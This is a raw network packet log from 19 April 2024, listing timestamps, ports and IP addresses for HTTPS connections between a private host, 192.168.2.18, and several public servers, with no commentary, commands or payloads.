Apr 19, 2024 17:02:07.308213949 CEST	443	49749	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:07.524962902 CEST	443	49749	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:07.525341034 CEST	49749	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:07.525353909 CEST	443	49749	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:07.525681019 CEST	443	49749	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:07.526108027 CEST	49749	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:07.526160002 CEST	443	49749	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:07.526360989 CEST	49749	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:07.572123051 CEST	443	49749	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:08.091455936 CEST	443	49749	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:08.091567993 CEST	443	49749	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:08.091648102 CEST	49749	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:08.092484951 CEST	49749	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:08.092499971 CEST	443	49749	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:08.094960928 CEST	49750	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:08.095000982 CEST	443	49750	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:08.095077991 CEST	49750	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:08.095326900 CEST	49750	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:08.095340967 CEST	443	49750	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:08.313031912 CEST	443	49750	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:08.313396931 CEST	49750	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:08.313421011 CEST	443	49750	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:08.313802958 CEST	443	49750	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:08.314109087 CEST	49750	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:08.314177990 CEST	443	49750	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:08.314248085 CEST	49750	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:08.356127977 CEST	443	49750	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:08.863121986 CEST	443	49750	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:08.863219976 CEST	443	49750	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:08.863291025 CEST	49750	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:08.863796949 CEST	49750	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:08.863816977 CEST	443	49750	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:09.307019949 CEST	49679	443	192.168.2.18	52.182.141.63
Apr 19, 2024 17:02:10.637171030 CEST	49751	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:10.637249947 CEST	443	49751	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:10.637353897 CEST	49751	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:10.638447046 CEST	49751	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:10.638484955 CEST	443	49751	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:11.025513887 CEST	443	49751	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:11.025610924 CEST	49751	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:11.067569017 CEST	49751	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:11.067642927 CEST	443	49751	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:11.067962885 CEST	443	49751	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:11.069206953 CEST	49751	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:11.069259882 CEST	49751	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:11.069307089 CEST	443	49751	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:11.349116087 CEST	443	49751	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:11.349143982 CEST	443	49751	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:11.349178076 CEST	443	49751	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:11.349242926 CEST	443	49751	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:11.349240065 CEST	49751	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:11.349311113 CEST	49751	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:11.349312067 CEST	49751	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:11.349884033 CEST	49751	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:11.349884033 CEST	49751	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:11.349926949 CEST	443	49751	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:11.349955082 CEST	443	49751	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:11.437599897 CEST	49752	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:11.437642097 CEST	443	49752	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:11.437735081 CEST	49752	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:11.437973976 CEST	49752	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:11.437984943 CEST	443	49752	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:11.833609104 CEST	443	49752	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:11.834399939 CEST	49752	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:11.834412098 CEST	443	49752	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:11.835145950 CEST	49752	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:11.835150957 CEST	443	49752	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:11.835180998 CEST	49752	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:11.835190058 CEST	443	49752	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.109666109 CEST	443	49752	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.109715939 CEST	443	49752	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.109791994 CEST	443	49752	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.109810114 CEST	49752	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:12.109848976 CEST	443	49752	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.109878063 CEST	49752	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:12.109992027 CEST	443	49752	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.110048056 CEST	49752	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:12.110306025 CEST	49752	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:12.110336065 CEST	443	49752	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.110361099 CEST	49752	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:12.110374928 CEST	443	49752	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.187310934 CEST	49753	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:12.187397957 CEST	443	49753	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.187495947 CEST	49753	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:12.187644958 CEST	49753	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:12.187661886 CEST	443	49753	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.589785099 CEST	443	49753	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.590562105 CEST	49753	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:12.590601921 CEST	443	49753	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.591733932 CEST	49753	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:12.591741085 CEST	443	49753	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.591820955 CEST	49753	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:12.591830015 CEST	443	49753	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.868807077 CEST	443	49753	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.868868113 CEST	443	49753	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.868922949 CEST	443	49753	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.868992090 CEST	49753	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:12.868993044 CEST	49753	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:12.869057894 CEST	443	49753	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.869096041 CEST	443	49753	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.869173050 CEST	49753	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:12.869395971 CEST	49753	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:12.869432926 CEST	443	49753	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.869458914 CEST	49753	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:12.869472980 CEST	443	49753	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.922318935 CEST	49754	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:12.922383070 CEST	443	49754	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:12.922478914 CEST	49754	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:12.922642946 CEST	49754	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:12.922661066 CEST	443	49754	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:13.329955101 CEST	443	49754	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:13.330621958 CEST	49754	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:13.330641985 CEST	443	49754	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:13.331803083 CEST	49754	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:13.331809998 CEST	443	49754	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:13.331866026 CEST	49754	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:13.331886053 CEST	443	49754	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:13.657502890 CEST	443	49754	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:13.657533884 CEST	443	49754	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:13.657605886 CEST	443	49754	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:13.657669067 CEST	49754	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:13.657669067 CEST	49754	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:13.657682896 CEST	443	49754	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:13.657696009 CEST	443	49754	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:13.657896042 CEST	49754	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:13.658052921 CEST	49754	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:13.658052921 CEST	49754	443	192.168.2.18	20.190.157.11
Apr 19, 2024 17:02:13.658068895 CEST	443	49754	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:13.658078909 CEST	443	49754	20.190.157.11	192.168.2.18
Apr 19, 2024 17:02:13.846455097 CEST	49755	443	192.168.2.18	131.253.33.200
Apr 19, 2024 17:02:13.846502066 CEST	443	49755	131.253.33.200	192.168.2.18
Apr 19, 2024 17:02:13.846590042 CEST	49755	443	192.168.2.18	131.253.33.200
Apr 19, 2024 17:02:13.848628044 CEST	49755	443	192.168.2.18	131.253.33.200
Apr 19, 2024 17:02:13.848644972 CEST	443	49755	131.253.33.200	192.168.2.18
Apr 19, 2024 17:02:14.118002892 CEST	49679	443	192.168.2.18	52.182.141.63
Apr 19, 2024 17:02:14.214061975 CEST	443	49755	131.253.33.200	192.168.2.18
Apr 19, 2024 17:02:14.214153051 CEST	49755	443	192.168.2.18	131.253.33.200
Apr 19, 2024 17:02:14.215176105 CEST	443	49755	131.253.33.200	192.168.2.18
Apr 19, 2024 17:02:14.215231895 CEST	49755	443	192.168.2.18	131.253.33.200
Apr 19, 2024 17:02:14.259310007 CEST	49755	443	192.168.2.18	131.253.33.200
Apr 19, 2024 17:02:14.259330034 CEST	443	49755	131.253.33.200	192.168.2.18
Apr 19, 2024 17:02:14.259728909 CEST	443	49755	131.253.33.200	192.168.2.18
Apr 19, 2024 17:02:14.259797096 CEST	49755	443	192.168.2.18	131.253.33.200
Apr 19, 2024 17:02:14.261445999 CEST	49755	443	192.168.2.18	131.253.33.200
Apr 19, 2024 17:02:14.261483908 CEST	443	49755	131.253.33.200	192.168.2.18
Apr 19, 2024 17:02:14.516556025 CEST	443	49755	131.253.33.200	192.168.2.18
Apr 19, 2024 17:02:14.516581059 CEST	443	49755	131.253.33.200	192.168.2.18
Apr 19, 2024 17:02:14.516648054 CEST	49755	443	192.168.2.18	131.253.33.200
Apr 19, 2024 17:02:14.516680956 CEST	443	49755	131.253.33.200	192.168.2.18
Apr 19, 2024 17:02:14.516696930 CEST	443	49755	131.253.33.200	192.168.2.18
Apr 19, 2024 17:02:14.516697884 CEST	49755	443	192.168.2.18	131.253.33.200
Apr 19, 2024 17:02:14.516732931 CEST	49755	443	192.168.2.18	131.253.33.200
Apr 19, 2024 17:02:14.519782066 CEST	49755	443	192.168.2.18	131.253.33.200
Apr 19, 2024 17:02:14.519804001 CEST	443	49755	131.253.33.200	192.168.2.18
Apr 19, 2024 17:02:16.568089008 CEST	49673	443	192.168.2.18	204.79.197.203
Apr 19, 2024 17:02:23.729991913 CEST	49679	443	192.168.2.18	52.182.141.63
Apr 19, 2024 17:02:34.103533030 CEST	49756	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:02:34.103630066 CEST	443	49756	20.12.23.50	192.168.2.18
Apr 19, 2024 17:02:34.103740931 CEST	49756	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:02:34.104161024 CEST	49756	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:02:34.104185104 CEST	443	49756	20.12.23.50	192.168.2.18
Apr 19, 2024 17:02:34.483555079 CEST	443	49756	20.12.23.50	192.168.2.18
Apr 19, 2024 17:02:34.483747005 CEST	49756	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:02:34.485377073 CEST	49756	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:02:34.485393047 CEST	443	49756	20.12.23.50	192.168.2.18
Apr 19, 2024 17:02:34.485816002 CEST	443	49756	20.12.23.50	192.168.2.18
Apr 19, 2024 17:02:34.494272947 CEST	49756	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:02:34.540119886 CEST	443	49756	20.12.23.50	192.168.2.18
Apr 19, 2024 17:02:34.837973118 CEST	443	49756	20.12.23.50	192.168.2.18
Apr 19, 2024 17:02:34.838038921 CEST	443	49756	20.12.23.50	192.168.2.18
Apr 19, 2024 17:02:34.838082075 CEST	443	49756	20.12.23.50	192.168.2.18
Apr 19, 2024 17:02:34.838162899 CEST	49756	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:02:34.838208914 CEST	443	49756	20.12.23.50	192.168.2.18
Apr 19, 2024 17:02:34.838228941 CEST	49756	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:02:34.838247061 CEST	443	49756	20.12.23.50	192.168.2.18
Apr 19, 2024 17:02:34.838272095 CEST	49756	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:02:34.838279009 CEST	443	49756	20.12.23.50	192.168.2.18
Apr 19, 2024 17:02:34.838294983 CEST	443	49756	20.12.23.50	192.168.2.18
Apr 19, 2024 17:02:34.838301897 CEST	49756	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:02:34.838325024 CEST	49756	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:02:34.838331938 CEST	443	49756	20.12.23.50	192.168.2.18
Apr 19, 2024 17:02:34.838387012 CEST	49756	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:02:34.838393927 CEST	443	49756	20.12.23.50	192.168.2.18
Apr 19, 2024 17:02:34.838494062 CEST	443	49756	20.12.23.50	192.168.2.18
Apr 19, 2024 17:02:34.838542938 CEST	49756	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:02:34.845793009 CEST	49756	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:02:34.845822096 CEST	443	49756	20.12.23.50	192.168.2.18
Apr 19, 2024 17:02:34.845835924 CEST	49756	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:02:34.845844030 CEST	443	49756	20.12.23.50	192.168.2.18
Apr 19, 2024 17:02:41.108396053 CEST	49758	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.108457088 CEST	443	49758	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.108547926 CEST	49758	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.108800888 CEST	49758	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.108834028 CEST	443	49758	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.213222027 CEST	49759	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.213268042 CEST	443	49759	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.213356972 CEST	49759	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.213552952 CEST	49759	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.213563919 CEST	443	49759	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.329360962 CEST	443	49758	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.329693079 CEST	49758	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.329740047 CEST	443	49758	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.330935001 CEST	443	49758	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.331269026 CEST	49758	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.331387043 CEST	49758	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.331453085 CEST	443	49758	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.378204107 CEST	49758	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.434494019 CEST	443	49759	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.434839964 CEST	49759	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.434874058 CEST	443	49759	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.436403990 CEST	443	49759	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.436484098 CEST	49759	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.436876059 CEST	49759	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.436960936 CEST	443	49759	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.437062025 CEST	49759	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.437071085 CEST	443	49759	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.490047932 CEST	49759	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.568722963 CEST	443	49758	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.568901062 CEST	443	49758	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.569103956 CEST	49758	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.569103956 CEST	49758	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.569195986 CEST	49758	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.569916010 CEST	49760	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.569977999 CEST	443	49760	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.570061922 CEST	49760	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.570327997 CEST	49760	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.570349932 CEST	443	49760	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.654340029 CEST	49761	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:41.654427052 CEST	443	49761	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:41.654527903 CEST	49761	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:41.654968023 CEST	49761	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:41.655050039 CEST	443	49761	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:41.670583010 CEST	443	49759	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.670780897 CEST	443	49759	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.670880079 CEST	49759	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.670917034 CEST	49759	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.670938015 CEST	443	49759	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.670949936 CEST	49759	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.671015024 CEST	49759	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.671521902 CEST	49762	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.671550989 CEST	443	49762	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.671626091 CEST	49762	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.671869993 CEST	49762	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.671885967 CEST	443	49762	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.789659023 CEST	443	49760	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.790030003 CEST	49760	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.790077925 CEST	443	49760	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.791209936 CEST	443	49760	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.791615009 CEST	49760	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.791764975 CEST	49760	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.791798115 CEST	443	49760	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.791801929 CEST	49760	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.791908026 CEST	443	49760	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.841098070 CEST	49760	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.884073019 CEST	443	49761	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:41.884399891 CEST	49761	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:41.884462118 CEST	443	49761	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:41.885184050 CEST	443	49761	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:41.885565042 CEST	49761	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:41.885668993 CEST	443	49761	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:41.885704994 CEST	49761	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:41.890914917 CEST	443	49762	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.891223907 CEST	49762	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.891241074 CEST	443	49762	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.892350912 CEST	443	49762	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.892754078 CEST	49762	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.892914057 CEST	49762	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.892925024 CEST	443	49762	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.892935991 CEST	49762	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:41.893030882 CEST	443	49762	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:41.932148933 CEST	443	49761	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:41.937019110 CEST	49761	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:41.937055111 CEST	49762	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:42.026534081 CEST	443	49760	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:42.026725054 CEST	443	49760	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:42.026804924 CEST	49760	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:42.026917934 CEST	49760	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:42.026967049 CEST	443	49760	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:42.026994944 CEST	49760	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:42.027040005 CEST	49760	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:42.127116919 CEST	443	49762	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:42.127315044 CEST	443	49762	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:42.127398014 CEST	49762	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:42.127644062 CEST	49762	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:02:42.127665997 CEST	443	49762	35.190.80.1	192.168.2.18
Apr 19, 2024 17:02:42.443181992 CEST	443	49761	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:42.443451881 CEST	443	49761	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:42.443578005 CEST	49761	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:42.444123030 CEST	49761	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:42.444145918 CEST	443	49761	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:42.447237968 CEST	49763	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:42.447282076 CEST	443	49763	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:42.447380066 CEST	49763	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:42.447721004 CEST	49763	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:42.447736979 CEST	443	49763	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:42.667238951 CEST	443	49763	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:42.667567968 CEST	49763	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:42.667587042 CEST	443	49763	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:42.668040991 CEST	443	49763	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:42.668423891 CEST	49763	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:42.668500900 CEST	443	49763	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:42.668587923 CEST	49763	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:42.716120958 CEST	443	49763	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:43.236294031 CEST	443	49763	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:43.236385107 CEST	443	49763	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:43.236474991 CEST	49763	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:43.237127066 CEST	49763	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:43.237164974 CEST	443	49763	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:44.387654066 CEST	49764	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:44.387703896 CEST	443	49764	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:44.387820959 CEST	49764	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:44.388119936 CEST	49764	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:44.388137102 CEST	443	49764	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:44.609831095 CEST	443	49764	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:44.610218048 CEST	49764	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:44.610251904 CEST	443	49764	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:44.610707045 CEST	443	49764	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:44.611198902 CEST	49764	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:44.611278057 CEST	443	49764	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:44.611288071 CEST	49764	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:44.656116962 CEST	443	49764	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:44.665035009 CEST	49764	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:45.157255888 CEST	443	49764	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:45.157553911 CEST	443	49764	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:45.157680988 CEST	49764	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:45.158169985 CEST	49764	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:45.158189058 CEST	443	49764	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:45.163309097 CEST	49765	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:45.163392067 CEST	443	49765	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:45.163522959 CEST	49765	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:45.163913012 CEST	49765	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:45.163966894 CEST	443	49765	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:45.370330095 CEST	49766	443	192.168.2.18	142.250.9.99
